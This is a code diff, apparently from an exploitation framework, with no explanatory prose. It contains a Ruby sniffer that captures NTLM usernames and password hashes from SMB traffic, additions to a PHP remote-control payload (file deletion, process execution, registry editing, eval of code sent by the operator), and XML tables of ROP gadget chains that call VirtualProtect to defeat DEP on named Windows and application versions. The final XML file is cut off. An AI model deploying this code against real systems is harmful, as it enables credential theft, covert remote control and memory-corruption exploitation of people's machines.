"USER:#{s[:user]} DOMAIN:#{s[:domain]} OS:#{s[:peer_os]} LM:#{s[:peer_lm]}\n" +
|
||||
"SERVER CHALLENGE:#{s[:challenge]} " +
|
||||
"\nLMHASH:#{s[:lmhash]} " +
|
||||
"\nNTHASH:#{s[:ntlmhash]}\n"
|
||||
print_status(logmessage)
|
||||
|
||||
src_ip = s[:host]
|
||||
dst_ip = s[:session].split("-")[1].split(":")[0]
|
||||
# know this is ugly , last code added :-/
|
||||
smb_db_type_hash = case ntlm_ver
|
||||
when "NTLMv1" then "smb_netv1_hash"
|
||||
when "NTLM2_SESSION" then "smb_netv1_hash"
|
||||
when "NTLMv2" then "smb_netv2_hash"
|
||||
end
|
||||
# DB reporting
|
||||
report_auth_info(
|
||||
:host => dst_ip,
|
||||
:port => 445,
|
||||
:sname => 'smb',
|
||||
:user => s[:user],
|
||||
:pass => s[:domain] + ":" + s[:lmhash] + ":" + s[:ntlmhash] + ":" + s[:challenge],
|
||||
:type => smb_db_type_hash,
|
||||
:proof => "DOMAIN=#{s[:domain]} OS=#{s[:peer_os]}",
|
||||
:active => true
|
||||
)
|
||||
|
||||
report_note(
|
||||
:host => src_ip,
|
||||
:type => "smb_peer_os",
|
||||
:data => s[:peer_os]
|
||||
) if (s[:peer_os] and s[:peer_os].strip.length > 0)
|
||||
|
||||
report_note(
|
||||
:host => src_ip,
|
||||
:type => "smb_peer_lm",
|
||||
:data => s[:peer_lm]
|
||||
) if (s[:peer_lm] and s[:peer_lm].strip.length > 0)
|
||||
|
||||
report_note(
|
||||
:host => src_ip,
|
||||
:type => "smb_domain",
|
||||
:data => s[:domain]
|
||||
) if (s[:domain] and s[:domain].strip.length > 0)
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
s[:last] = nil
|
||||
sessions.delete(s[:session])
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
when :smb1_setupandx
|
||||
s[:smb_version] = "SMBv1"
|
||||
parse_sessionsetup(pkt, s)
|
||||
when :smb2_setupandx
|
||||
s[:smb_version] = "SMBv2"
|
||||
parse_sessionsetup(pkt, s)
|
||||
when nil
|
||||
# No matches, no saved state
|
||||
else
|
||||
@@ -197,6 +90,122 @@ class SnifferSMB < BaseProtocolParser
|
||||
else
|
||||
raise RuntimeError, "Unknow hash type"
|
||||
end
|
||||
end
|
||||
|
||||
def parse_sessionsetup(pkt, s)
|
||||
payload = pkt.payload.dup
|
||||
ntlmpayload = payload[/NTLMSSP\x00.*/m]
|
||||
if ntlmpayload
|
||||
ntlmmessagetype = ntlmpayload[8,4].unpack("V")[0]
|
||||
case ntlmmessagetype
|
||||
when 2 # challenge
|
||||
s[:challenge] = ntlmpayload[24,8].unpack("H*")[0]
|
||||
s[:last] = :ntlm_type2
|
||||
when 3 # auth
|
||||
if s[:last] == :ntlm_type2
|
||||
lmlength = ntlmpayload[12, 2].unpack("v")[0]
|
||||
lmoffset = ntlmpayload[16, 2].unpack("v")[0]
|
||||
ntlmlength = ntlmpayload[20, 2].unpack("v")[0]
|
||||
ntlmoffset = ntlmpayload[24, 2].unpack("v")[0]
|
||||
domainlength = ntlmpayload[28, 2].unpack("v")[0]
|
||||
domainoffset = ntlmpayload[32, 2].unpack("v")[0]
|
||||
usrlength = ntlmpayload[36, 2].unpack("v")[0]
|
||||
usroffset = ntlmpayload[40, 2].unpack("v")[0]
|
||||
|
||||
s[:lmhash] = ntlmpayload[lmoffset, lmlength].unpack("H*")[0] || ''
|
||||
s[:ntlmhash] = ntlmpayload[ntlmoffset, ntlmlength].unpack("H*")[0] || ''
|
||||
s[:domain] = ntlmpayload[domainoffset, domainlength].gsub("\x00","") || ''
|
||||
s[:user] = ntlmpayload[usroffset, usrlength].gsub("\x00","") || ''
|
||||
|
||||
secbloblength = payload[51,2].unpack("v")[0]
|
||||
names = (payload[63..-1][secbloblength..-1] || '').split("\x00\x00").map { |x| x.gsub(/\x00/, '') }
|
||||
s[:peer_os] = names[0] || ''
|
||||
s[:peer_lm] = names[1] || ''
|
||||
s[:last] = :ntlm_type3
|
||||
end
|
||||
end
|
||||
else
|
||||
wordcount = payload[36,1].unpack("C")[0]
|
||||
#authentification without smb extended security (smbmount, msf server capture)
|
||||
if wordcount == 13 and s[:last] == :smb1_negotiate and s[:smb_version] == "SMBv1"
|
||||
lmlength = payload[51,2].unpack("v")[0]
|
||||
ntlmlength = payload[53,2].unpack("v")[0]
|
||||
s[:lmhash] = payload[65,lmlength].unpack("H*")[0]
|
||||
s[:ntlmhash] = payload[65 + lmlength, ntlmlength].unpack("H*")[0]
|
||||
|
||||
names = payload[Range.new(65 + lmlength + ntlmlength,-1)].split("\x00\x00").map { |x| x.gsub(/\x00/, '') }
|
||||
|
||||
s[:user] = names[0]
|
||||
s[:domain] = names[1]
|
||||
s[:peer_os] = names[2]
|
||||
s[:peer_lm] = names[3]
|
||||
s[:last] = :smb_no_ntlm
|
||||
else
|
||||
#answer from server
|
||||
if s[:last] == :ntlm_type3 or s[:last] == :smb_no_ntlm
|
||||
#do not output anonymous/guest logging
|
||||
unless s[:user] == '' or s[:ntlmhash] == '' or s[:ntlmhash] =~ /^(00)*$/m
|
||||
#set lmhash to a default value if not provided
|
||||
s[:lmhash] = "00" * 24 if s[:lmhash] == '' or s[:lmhash] =~ /^(00)*$/m
|
||||
s[:lmhash] = "00" * 24 if s[:lmhash] == s[:ntlmhash]
|
||||
|
||||
smb_status = payload[9,4].unpack("V")[0]
|
||||
if smb_status == 0 # success
|
||||
|
||||
ntlm_ver = detect_ntlm_ver(s[:lmhash],s[:ntlmhash])
|
||||
|
||||
logmessage =
|
||||
"#{ntlm_ver} Response Captured in #{s[:smb_version]} session : #{s[:session]} \n" +
|
||||
"USER:#{s[:user]} DOMAIN:#{s[:domain]} OS:#{s[:peer_os]} LM:#{s[:peer_lm]}\n" +
|
||||
"SERVER CHALLENGE:#{s[:challenge]} " +
|
||||
"\nLMHASH:#{s[:lmhash]} " +
|
||||
"\nNTHASH:#{s[:ntlmhash]}\n"
|
||||
print_status(logmessage)
|
||||
|
||||
src_ip = s[:client_host]
|
||||
dst_ip = s[:host]
|
||||
# know this is ugly , last code added :-/
|
||||
smb_db_type_hash = case ntlm_ver
|
||||
when "NTLMv1" then "smb_netv1_hash"
|
||||
when "NTLM2_SESSION" then "smb_netv1_hash"
|
||||
when "NTLMv2" then "smb_netv2_hash"
|
||||
end
|
||||
# DB reporting
|
||||
report_auth_info(
|
||||
:host => dst_ip,
|
||||
:port => 445,
|
||||
:sname => 'smb',
|
||||
:user => s[:user],
|
||||
:pass => s[:domain] + ":" + s[:lmhash] + ":" + s[:ntlmhash] + ":" + s[:challenge],
|
||||
:type => smb_db_type_hash,
|
||||
:proof => "DOMAIN=#{s[:domain]} OS=#{s[:peer_os]}",
|
||||
:active => true
|
||||
)
|
||||
|
||||
report_note(
|
||||
:host => src_ip,
|
||||
:type => "smb_peer_os",
|
||||
:data => s[:peer_os]
|
||||
) if (s[:peer_os] and s[:peer_os].strip.length > 0)
|
||||
|
||||
report_note(
|
||||
:host => src_ip,
|
||||
:type => "smb_peer_lm",
|
||||
:data => s[:peer_lm]
|
||||
) if (s[:peer_lm] and s[:peer_lm].strip.length > 0)
|
||||
|
||||
report_note(
|
||||
:host => src_ip,
|
||||
:type => "smb_domain",
|
||||
:data => s[:domain]
|
||||
) if (s[:domain] and s[:domain].strip.length > 0)
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
s[:last] = nil
|
||||
sessions.delete(s[:session])
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
Binary file not shown.
Executable
BIN
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Executable
BIN
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -283,6 +283,7 @@ function cononicalize_path($path) {
|
||||
# traditionally used this to get environment variables from the server.
|
||||
#
|
||||
if (!function_exists('stdapi_fs_file_expand_path')) {
|
||||
register_command('stdapi_fs_file_expand_path');
|
||||
function stdapi_fs_file_expand_path($req, &$pkt) {
|
||||
my_print("doing expand_path");
|
||||
$path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH);
|
||||
@@ -320,8 +321,29 @@ function stdapi_fs_file_expand_path($req, &$pkt) {
|
||||
}
|
||||
}
|
||||
|
||||
if (!function_exists('stdapi_fs_delete_dir')) {
|
||||
register_command('stdapi_fs_delete_dir');
|
||||
function stdapi_fs_delete_dir($req, &$pkt) {
|
||||
my_print("doing rmdir");
|
||||
$path_tlv = packet_get_tlv($req, TLV_TYPE_DIRECTORY_PATH);
|
||||
$ret = @rmdir(cononicalize_path($path_tlv['value']));
|
||||
return $ret ? ERROR_SUCCESS : ERROR_FAILURE;
|
||||
}
|
||||
}
|
||||
|
||||
if (!function_exists('stdapi_fs_mkdir')) {
|
||||
register_command('stdapi_fs_mkdir');
|
||||
function stdapi_fs_mkdir($req, &$pkt) {
|
||||
my_print("doing mkdir");
|
||||
$path_tlv = packet_get_tlv($req, TLV_TYPE_DIRECTORY_PATH);
|
||||
$ret = @mkdir(cononicalize_path($path_tlv['value']));
|
||||
return $ret ? ERROR_SUCCESS : ERROR_FAILURE;
|
||||
}
|
||||
}
|
||||
|
||||
# works
|
||||
if (!function_exists('stdapi_fs_chdir')) {
|
||||
register_command('stdapi_fs_chdir');
|
||||
function stdapi_fs_chdir($req, &$pkt) {
|
||||
my_print("doing chdir");
|
||||
$path_tlv = packet_get_tlv($req, TLV_TYPE_DIRECTORY_PATH);
|
||||
@@ -332,6 +354,7 @@ function stdapi_fs_chdir($req, &$pkt) {
|
||||
|
||||
# works
|
||||
if (!function_exists('stdapi_fs_delete')) {
|
||||
register_command('stdapi_fs_delete');
|
||||
function stdapi_fs_delete($req, &$pkt) {
|
||||
my_print("doing delete");
|
||||
$path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_NAME);
|
||||
@@ -342,6 +365,7 @@ function stdapi_fs_delete($req, &$pkt) {
|
||||
|
||||
# works
|
||||
if (!function_exists('stdapi_fs_getwd')) {
|
||||
register_command('stdapi_fs_getwd');
|
||||
function stdapi_fs_getwd($req, &$pkt) {
|
||||
my_print("doing pwd");
|
||||
packet_add_tlv($pkt, create_tlv(TLV_TYPE_DIRECTORY_PATH, getcwd()));
|
||||
@@ -352,6 +376,7 @@ function stdapi_fs_getwd($req, &$pkt) {
|
||||
# works partially, need to get the path argument to mean the same thing as in
|
||||
# windows
|
||||
if (!function_exists('stdapi_fs_ls')) {
|
||||
register_command('stdapi_fs_ls');
|
||||
function stdapi_fs_ls($req, &$pkt) {
|
||||
my_print("doing ls");
|
||||
$path_tlv = packet_get_tlv($req, TLV_TYPE_DIRECTORY_PATH);
|
||||
@@ -392,6 +417,7 @@ function stdapi_fs_ls($req, &$pkt) {
|
||||
}
|
||||
|
||||
if (!function_exists('stdapi_fs_separator')) {
|
||||
register_command('stdapi_fs_separator');
|
||||
function stdapi_fs_separator($req, &$pkt) {
|
||||
packet_add_tlv($pkt, create_tlv(TLV_TYPE_STRING, DIRECTORY_SEPARATOR));
|
||||
return ERROR_SUCCESS;
|
||||
@@ -399,6 +425,7 @@ function stdapi_fs_separator($req, &$pkt) {
|
||||
}
|
||||
|
||||
if (!function_exists('stdapi_fs_stat')) {
|
||||
register_command('stdapi_fs_stat');
|
||||
function stdapi_fs_stat($req, &$pkt) {
|
||||
my_print("doing stat");
|
||||
$path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH);
|
||||
@@ -431,6 +458,7 @@ function stdapi_fs_stat($req, &$pkt) {
|
||||
|
||||
# works
|
||||
if (!function_exists('stdapi_fs_delete_file')) {
|
||||
register_command('stdapi_fs_delete_file');
|
||||
function stdapi_fs_delete_file($req, &$pkt) {
|
||||
my_print("doing delete");
|
||||
$path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH);
|
||||
@@ -446,6 +474,7 @@ function stdapi_fs_delete_file($req, &$pkt) {
|
||||
}
|
||||
|
||||
if (!function_exists('stdapi_fs_search')) {
|
||||
register_command('stdapi_fs_search');
|
||||
function stdapi_fs_search($req, &$pkt) {
|
||||
my_print("doing search");
|
||||
|
||||
@@ -483,10 +512,50 @@ function stdapi_fs_search($req, &$pkt) {
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
if (!function_exists('stdapi_fs_md5')) {
|
||||
register_command("stdapi_fs_md5");
|
||||
function stdapi_fs_md5($req, &$pkt) {
|
||||
$path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH);
|
||||
$path = cononicalize_path($path_tlv['value']);
|
||||
|
||||
if (is_callable("md5_file")) {
|
||||
$md5 = md5_file($path);
|
||||
} else {
|
||||
$md5 = md5(file_get_contents($path));
|
||||
}
|
||||
$md5 = pack("H*", $md5);
|
||||
# Ghetto abuse of file name type to indicate the md5 result
|
||||
packet_add_tlv($pkt, create_tlv(TLV_TYPE_FILE_NAME, $md5));
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
if (!function_exists('stdapi_fs_sha1')) {
|
||||
register_command("stdapi_fs_sha1");
|
||||
function stdapi_fs_sha1($req, &$pkt) {
|
||||
$path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH);
|
||||
$path = cononicalize_path($path_tlv['value']);
|
||||
|
||||
if (is_callable("sha1_file")) {
|
||||
$sha1 = sha1_file($path);
|
||||
} else {
|
||||
$sha1 = sha1(file_get_contents($path));
|
||||
}
|
||||
$sha1 = pack("H*", $sha1);
|
||||
# Ghetto abuse of file name type to indicate the sha1 result
|
||||
packet_add_tlv($pkt, create_tlv(TLV_TYPE_FILE_NAME, $sha1));
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
# Sys Config
|
||||
|
||||
# works
|
||||
if (!function_exists('stdapi_sys_config_getuid')) {
|
||||
register_command('stdapi_sys_config_getuid');
|
||||
function stdapi_sys_config_getuid($req, &$pkt) {
|
||||
my_print("doing getuid");
|
||||
if (is_callable('posix_getuid')) {
|
||||
@@ -505,15 +574,17 @@ function stdapi_sys_config_getuid($req, &$pkt) {
|
||||
}
|
||||
|
||||
# Unimplemented becuase it's unimplementable
|
||||
if (!function_exists('stdapi_sys_config_rev2self')) {
|
||||
function stdapi_sys_config_rev2self($req, &$pkt) {
|
||||
my_print("doing rev2self");
|
||||
return ERROR_FAILURE;
|
||||
}
|
||||
}
|
||||
#if (!function_exists('stdapi_sys_config_rev2self')) {
|
||||
#register_command('stdapi_sys_config_rev2self');
|
||||
#function stdapi_sys_config_rev2self($req, &$pkt) {
|
||||
# my_print("doing rev2self");
|
||||
# return ERROR_FAILURE;
|
||||
#}
|
||||
#}
|
||||
|
||||
# works
|
||||
if (!function_exists('stdapi_sys_config_sysinfo')) {
|
||||
register_command('stdapi_sys_config_sysinfo');
|
||||
function stdapi_sys_config_sysinfo($req, &$pkt) {
|
||||
my_print("doing sysinfo");
|
||||
packet_add_tlv($pkt, create_tlv(TLV_TYPE_COMPUTER_NAME, php_uname("n")));
|
||||
@@ -526,6 +597,7 @@ function stdapi_sys_config_sysinfo($req, &$pkt) {
|
||||
$GLOBALS['processes'] = array();
|
||||
|
||||
if (!function_exists('stdapi_sys_process_execute')) {
|
||||
register_command('stdapi_sys_process_execute');
|
||||
function stdapi_sys_process_execute($req, &$pkt) {
|
||||
global $channel_process_map, $processes;
|
||||
|
||||
@@ -600,6 +672,7 @@ function stdapi_sys_process_execute($req, &$pkt) {
|
||||
|
||||
|
||||
if (!function_exists('stdapi_sys_process_close')) {
|
||||
register_command('stdapi_sys_process_close');
|
||||
function stdapi_sys_process_close($req, &$pkt) {
|
||||
global $processes;
|
||||
my_print("doing process_close");
|
||||
@@ -653,6 +726,7 @@ function close_process($proc) {
|
||||
# to decide what options to send to ps for portability and for information
|
||||
# usefulness.
|
||||
if (!function_exists('stdapi_sys_process_get_processes')) {
|
||||
register_command('stdapi_sys_process_get_processes');
|
||||
function stdapi_sys_process_get_processes($req, &$pkt) {
|
||||
my_print("doing get_processes");
|
||||
$list = array();
|
||||
@@ -702,6 +776,7 @@ function stdapi_sys_process_get_processes($req, &$pkt) {
|
||||
|
||||
# works
|
||||
if (!function_exists('stdapi_sys_process_getpid')) {
|
||||
register_command('stdapi_sys_process_getpid');
|
||||
function stdapi_sys_process_getpid($req, &$pkt) {
|
||||
my_print("doing getpid");
|
||||
packet_add_tlv($pkt, create_tlv(TLV_TYPE_PID, getmypid()));
|
||||
@@ -710,6 +785,7 @@ function stdapi_sys_process_getpid($req, &$pkt) {
|
||||
}
|
||||
|
||||
if (!function_exists('stdapi_sys_process_kill')) {
|
||||
register_command('stdapi_sys_process_kill');
|
||||
function stdapi_sys_process_kill($req, &$pkt) {
|
||||
# The existence of posix_kill is unlikely (it's a php compile-time option
|
||||
# that isn't enabled by default, but better to try it and avoid shelling
|
||||
@@ -740,6 +816,7 @@ function stdapi_sys_process_kill($req, &$pkt) {
|
||||
}
|
||||
|
||||
if (!function_exists('stdapi_net_socket_tcp_shutdown')) {
|
||||
register_command('stdapi_net_socket_tcp_shutdown');
|
||||
function stdapi_net_socket_tcp_shutdown($req, &$pkt) {
|
||||
my_print("doing stdapi_net_socket_tcp_shutdown");
|
||||
$cid_tlv = packet_get_tlv($req, TLV_TYPE_CHANNEL_ID);
|
||||
@@ -780,6 +857,9 @@ function deregister_registry_key($id) {
|
||||
|
||||
|
||||
if (!function_exists('stdapi_registry_create_key')) {
|
||||
if (is_windows() and is_callable('reg_open_key')) {
|
||||
register_command('stdapi_registry_create_key');
|
||||
}
|
||||
function stdapi_registry_create_key($req, &$pkt) {
|
||||
my_print("doing stdapi_registry_create_key");
|
||||
if (is_windows() and is_callable('reg_open_key')) {
|
||||
@@ -813,6 +893,9 @@ function stdapi_registry_create_key($req, &$pkt) {
|
||||
}
|
||||
|
||||
if (!function_exists('stdapi_registry_close_key')) {
|
||||
if (is_windows() and is_callable('reg_open_key')) {
|
||||
register_command('stdapi_registry_close_key');
|
||||
}
|
||||
function stdapi_registry_close_key($req, &$pkt) {
|
||||
if (is_windows() and is_callable('reg_open_key')) {
|
||||
global $registry_handles;
|
||||
@@ -831,6 +914,9 @@ function stdapi_registry_close_key($req, &$pkt) {
|
||||
}
|
||||
|
||||
if (!function_exists('stdapi_registry_query_value')) {
|
||||
if (is_windows() and is_callable('reg_open_key')) {
|
||||
register_command('stdapi_registry_query_value');
|
||||
}
|
||||
function stdapi_registry_query_value($req, &$pkt) {
|
||||
if (is_windows() and is_callable('reg_open_key')) {
|
||||
global $registry_handles;
|
||||
@@ -868,6 +954,9 @@ function stdapi_registry_query_value($req, &$pkt) {
|
||||
}
|
||||
|
||||
if (!function_exists('stdapi_registry_set_value')) {
|
||||
if (is_windows() and is_callable('reg_open_key')) {
|
||||
register_command('stdapi_registry_set_value');
|
||||
}
|
||||
function stdapi_registry_set_value($req, &$pkt) {
|
||||
if (is_windows() and is_callable('reg_open_key')) {
|
||||
global $registry_handles;
|
||||
|
||||
Binary file not shown.
Binary file not shown.
@@ -30,6 +30,18 @@ if (!isset($GLOBALS['readers'])) {
|
||||
$GLOBALS['readers'] = array();
|
||||
}
|
||||
|
||||
# global list of extension commands
|
||||
if (!isset($GLOBALS['commands'])) {
|
||||
$GLOBALS['commands'] = array("core_loadlib");
|
||||
}
|
||||
|
||||
function register_command($c) {
|
||||
global $commands;
|
||||
if (! in_array($c, $commands)) {
|
||||
array_push($commands, $c);
|
||||
}
|
||||
}
|
||||
|
||||
function my_print($str) {
|
||||
#error_log($str);
|
||||
}
|
||||
@@ -389,14 +401,20 @@ function core_shutdown($req, &$pkt) {
|
||||
# isn't compressed before eval'ing it
|
||||
# TODO: check for zlib support and decompress if possible
|
||||
function core_loadlib($req, &$pkt) {
|
||||
global $commands;
|
||||
my_print("doing core_loadlib");
|
||||
$data_tlv = packet_get_tlv($req, TLV_TYPE_DATA);
|
||||
if (($data_tlv['type'] & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED) {
|
||||
return ERROR_FAILURE;
|
||||
} else {
|
||||
eval($data_tlv['value']);
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
$tmp = $commands;
|
||||
eval($data_tlv['value']);
|
||||
$new = array_diff($commands, $tmp);
|
||||
foreach ($new as $meth) {
|
||||
packet_add_tlv($pkt, create_tlv(TLV_TYPE_METHOD, $meth));
|
||||
}
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
|
||||
|
||||
Binary file not shown.
Binary file not shown.
Executable → Regular
BIN
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,80 @@
|
||||
<?xml version="1.0" encoding="ISO-8859-1"?>
|
||||
<db>
|
||||
<rop>
|
||||
<compatibility>
|
||||
<target>11.3.300.257</target>
|
||||
</compatibility>
|
||||
|
||||
<gadgets base="0x10000000">
|
||||
<gadget offset="0x00243043">POP EAX # RETN</gadget>
|
||||
<gadget offset="0x006e3384">ptr to VirtualProtect()</gadget>
|
||||
<gadget offset="0x0044a4aa">MOV EAX,DWORD PTR DS:[EAX] # RETN</gadget>
|
||||
<gadget offset="0x003d54df">XCHG EAX,ESI # RETN</gadget>
|
||||
<gadget offset="0x005f0b25">POP EBP # RETN</gadget>
|
||||
<gadget offset="0x002ed0f1">jmp esp</gadget>
|
||||
<gadget offset="0x003eb988">POP EBX # RETN</gadget>
|
||||
<gadget value="0x00000400">0x00000400-> ebx</gadget>
|
||||
<gadget offset="0x00662e60">POP EDX # RETN</gadget>
|
||||
<gadget value="0x00000040">0x00000040-> edx</gadget>
|
||||
<gadget offset="0x0058289d">POP ECX # RETN</gadget>
|
||||
<gadget offset="0x00955ebe">Writable location</gadget>
|
||||
<gadget offset="0x00414e84">POP EDI # RETN</gadget>
|
||||
<gadget offset="0x004de801">RETN (ROP NOP)</gadget>
|
||||
<gadget offset="0x0024044c">POP EAX # RETN</gadget>
|
||||
<gadget value="nop">nop</gadget>
|
||||
<gadget offset="0x00627674">PUSHAD # RETN</gadget>
|
||||
</gadgets>
|
||||
</rop>
|
||||
|
||||
<rop>
|
||||
<compatibility>
|
||||
<target>11.3.300.265</target>
|
||||
</compatibility>
|
||||
|
||||
<gadgets base="0x10000000">
|
||||
<gadget offset="0x00487414">POP EAX # RETN</gadget>
|
||||
<gadget offset="0x006e338c">ptr to VirtualProtect()</gadget>
|
||||
<gadget offset="0x00437d39">MOV EAX,DWORD PTR DS:[EAX] # RETN</gadget>
|
||||
<gadget offset="0x0008f9c6">XCHG EAX,ESI # RETN</gadget>
|
||||
<gadget offset="0x000baf77">POP EBP # RETN</gadget>
|
||||
<gadget offset="0x002d8d5c">jmp esp</gadget>
|
||||
<gadget offset="0x00005604">POP EBX # RETN</gadget>
|
||||
<gadget value="0x00000400">0x00000400-> ebx</gadget>
|
||||
<gadget offset="0x0064a4d7">POP EDX # RETN</gadget>
|
||||
<gadget value="0x00000040">0x00000040-> edx</gadget>
|
||||
<gadget offset="0x004087db">POP ECX # RETN</gadget>
|
||||
<gadget offset="0x00955197">Writable location</gadget>
|
||||
<gadget offset="0x005be57f">POP EDI # RETN</gadget>
|
||||
<gadget offset="0x003a0002">RETN (ROP NOP)</gadget>
|
||||
<gadget offset="0x00244a82">POP EAX # RETN</gadget>
|
||||
<gadget value="nop">nop</gadget>
|
||||
<gadget offset="0x004cbc7f">PUSHAD # RETN</gadget>
|
||||
</gadgets>
|
||||
</rop>
|
||||
|
||||
<rop>
|
||||
<compatibility>
|
||||
<target>11.3.300.268</target>
|
||||
</compatibility>
|
||||
|
||||
<gadgets base="0x10000000">
|
||||
<gadget offset="0x0012429b">POP ECX # RETN</gadget>
|
||||
<gadget offset="0x006e438c">ptr to VirtualProtect()</gadget>
|
||||
<gadget offset="0x00481a7d">MOV EAX,DWORD PTR DS:[ECX]</gadget>
|
||||
<gadget offset="0x006ae8d7">XCHG EAX,ESI # RETN</gadget>
|
||||
<gadget offset="0x000a6b69">POP EBP # RETN</gadget>
|
||||
<gadget offset="0x002b95bb">jmp esp</gadget>
|
||||
<gadget offset="0x0027f328">POP EBX # RETN</gadget>
|
||||
<gadget value="0x00000400">0x00000400-> ebx</gadget>
|
||||
<gadget offset="0x00686fe5">POP EDX # RETN</gadget>
|
||||
<gadget value="0x00000040">0x00000040-> edx</gadget>
|
||||
<gadget offset="0x0017e345">POP ECX # RETN</gadget>
|
||||
<gadget offset="0x0092027a">Writable location</gadget>
|
||||
<gadget offset="0x002a394a">POP EDI # RETN</gadget>
|
||||
<gadget offset="0x00593802"># RETN (ROP NOP)</gadget>
|
||||
<gadget offset="0x002447d1">POP EAX # RETN</gadget>
|
||||
<gadget value="nop">nop</gadget>
|
||||
<gadget offset="0x0062857d">PUSHAD # RETN</gadget>
|
||||
</gadgets>
|
||||
</rop>
|
||||
</db>
|
||||
@@ -0,0 +1,27 @@
|
||||
<?xml version="1.0" encoding="ISO-8859-1"?>
|
||||
<db>
|
||||
<rop>
|
||||
<compatibility>
|
||||
<target>*</target>
|
||||
</compatibility>
|
||||
|
||||
<gadgets base="0x7c340000">
|
||||
<gadget offset="0x0000252c">POP EBP # RETN</gadget>
|
||||
<gadget offset="0x0000252c">skip 4 bytes</gadget>
|
||||
<gadget offset="0x0002c55a">POP EBX # RETN</gadget>
|
||||
<gadget value="0x00000400">0x00000400-> ebx</gadget>
|
||||
<gadget offset="0x00005249">POP EDX # RETN</gadget>
|
||||
<gadget value="0x00000040">0x00000040-> edx</gadget>
|
||||
<gadget offset="0x000011c0">POP ECX # RETN</gadget>
|
||||
<gadget offset="0x00051897">Writable location</gadget>
|
||||
<gadget offset="0x0000b8d7">POP EDI # RETN</gadget>
|
||||
<gadget offset="0x00006c0b">RETN (ROP NOP)</gadget>
|
||||
<gadget offset="0x00026fa6">POP ESI # RETN</gadget>
|
||||
<gadget offset="0x000015a2">JMP [EAX]</gadget>
|
||||
<gadget offset="0x000362fb">POP EAX # RETN</gadget>
|
||||
<gadget offset="0x0003a151">ptr to VirtualProtect()</gadget>
|
||||
<gadget offset="0x00038c81">PUSHAD # ADD AL,0EF # RETN</gadget>
|
||||
<gadget offset="0x00005c30">ptr to 'push esp # ret</gadget>
|
||||
</gadgets>
|
||||
</rop>
|
||||
</db>
|
||||
@@ -0,0 +1,56 @@
|
||||
<?xml version="1.0" encoding="ISO-8859-1"?>
|
||||
<db>
|
||||
<rop>
|
||||
<compatibility>
|
||||
<target>WINDOWS XP SP2</target>
|
||||
<target>WINDOWS XP SP3</target>
|
||||
</compatibility>
|
||||
|
||||
<gadgets base="0x77c10000">
|
||||
<gadget offset="0x0002ee15">POP EBP # RETN</gadget>
|
||||
<gadget offset="0x0002ee15">skip 4 bytes</gadget>
|
||||
<gadget offset="0x0003fa1c">POP EBX # RETN</gadget>
|
||||
<gadget value="0x00000400">0x00000400-> ebx</gadget>
|
||||
<gadget offset="0x00040d13">POP EDX # RETN</gadget>
|
||||
<gadget value="0x00000040">0x00000040-> edx</gadget>
|
||||
<gadget offset="0x0002eeef">POP ECX # RETN</gadget>
|
||||
<gadget offset="0x0004d9bb">Writable location</gadget>
|
||||
<gadget offset="0x0001a88c">POP EDI # RETN</gadget>
|
||||
<gadget offset="0x00029f92">RETN (ROP NOP)</gadget>
|
||||
<gadget offset="0x0002a184">POP ESI # RETN</gadget>
|
||||
<gadget offset="0x0001aacc">JMP [EAX]</gadget>
|
||||
<gadget offset="0x0002b860">POP EAX # RETN</gadget>
|
||||
<gadget offset="0x00001120">ptr to VirtualProtect()</gadget>
|
||||
<gadget offset="0x00002df9">PUSHAD # RETN</gadget>
|
||||
<gadget offset="0x00025459">ptr to 'push esp # ret</gadget>
|
||||
</gadgets>
|
||||
</rop>
|
||||
|
||||
<rop>
|
||||
<compatibility>
|
||||
<target>WINDOWS SERVER 2003 SP1</target>
|
||||
<target>WINDOWS SERVER 2003 SP2</target>
|
||||
</compatibility>
|
||||
|
||||
<gadgets base="0x77ba0000">
|
||||
<gadget offset="0x0003eebf">POP EAX # RETN</gadget>
|
||||
<gadget offset="0x00001114">ptr to VirtualProtect()</gadget>
|
||||
<gadget offset="0x0001f244">MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN</gadget>
|
||||
<gadget value="junk">Filler</gadget>
|
||||
<gadget offset="0x00010c86">XCHG EAX,ESI # RETN</gadget>
|
||||
<gadget offset="0x00026320">POP EBP # RETN</gadget>
|
||||
<gadget offset="0x00042265">PUSH ESP # RETN</gadget>
|
||||
<gadget offset="0x000385b7">POP EBX # RETN</gadget>
|
||||
<gadget value="0x00000400">0x00000400-> ebx</gadget>
|
||||
<gadget offset="0x0003e4fc">POP EDX # RETN</gadget>
|
||||
<gadget value="0x00000040">0x00000040-> edx</gadget>
|
||||
<gadget offset="0x000330fb">POP ECX # RETN</gadget>
|
||||
<gadget offset="0x0004ff56">Writable location</gadget>
|
||||
<gadget offset="0x00038a92">POP EDI # RETN</gadget>
|
||||
<gadget offset="0x00037d82">RETN (ROP NOP)</gadget>
|
||||
<gadget offset="0x0003eebf">POP EAX # RETN</gadget>
|
||||
<gadget value="nop">nop</gadget>
|
||||
<gadget offset="0x00046591">PUSHAD # ADD AL,0EF # RETN</gadget>
|
||||
</gadgets>
|
||||
</rop>
|
||||
</db>
|
||||
@@ -0,0 +1,436 @@
|
||||
<?xml version="1.0" encoding="ISO-8859-1"?>
|
||||
<db>
|
||||
<rop>
|
||||
<compatibility>
|
||||
